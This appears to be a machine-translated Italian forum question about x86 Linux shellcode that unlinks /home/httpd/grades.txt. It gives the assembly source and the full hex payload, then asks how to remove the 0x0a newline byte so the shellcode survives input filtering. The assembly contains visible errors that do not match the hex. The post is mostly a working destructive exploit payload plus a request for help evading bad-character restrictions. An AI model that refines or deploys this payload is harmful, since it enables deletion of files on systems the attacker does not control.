Ho scritto uno shellcode per scollegare un file dal sistema, ma quando ho estratto il codice esadecimale dal file binario, esso è costituito da \ x0a byte, perché il numero di chiamata sys per la funzione di scollegamento è 10, quindi è essenzialmente trattato come un nuovo carattere di linea mentre eseguo il mio codice esadecimale. Pertanto, limitando il resto del codice dall'eccitazione.
La mia shell è (shellcode.S):
#include #define STRING "/home/httpd/grades.txt" #define STRLEN 22 #define CODE 0x05 .globl main .type main, @function main: jmp calladdr popladdr: popl %esi xorl %eax,%eax /* get a 32-bit zero value */ movb %al,(STRLEN)(%esi) /* null-terminate our string */ addb %ecx,5 movb $ecx,%al /* syscall arg 1: syscall number */ movl %esi,%ebx /* syscall arg 2: string pathname */ int $0x80 /* invoke syscall */ xorl %ebx,%ebx /* syscall arg 2: 0 */ movl %ebx,%eax inc %eax /* syscall arg 1: SYS_exit (1), uses */ /* mov+inc to avoid null byte */ int $0x80 /* invoke syscall */ calladdr: call popladdr .ascii STRING
Il codice esadecimale per il file bin di shellcode è:
char shellcode[] = "\xeb\x13\x5e\x31\xc0\x88\x46\x16\xb0\x0a\x89\xf3" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xe8\xff" "\xff\xff\x2f\x68\x6f\x6d\x65\x2f\x68\x74\x74\x70" "\x64\x2f\x67\x72\x61\x64\x65\x73\x2e\x74\x78\x74"
Quindi, per favore suggerisci qualche metodo da eliminare, questo con lo stesso funzionamento di shellcode.
Grazie per l'aiuto!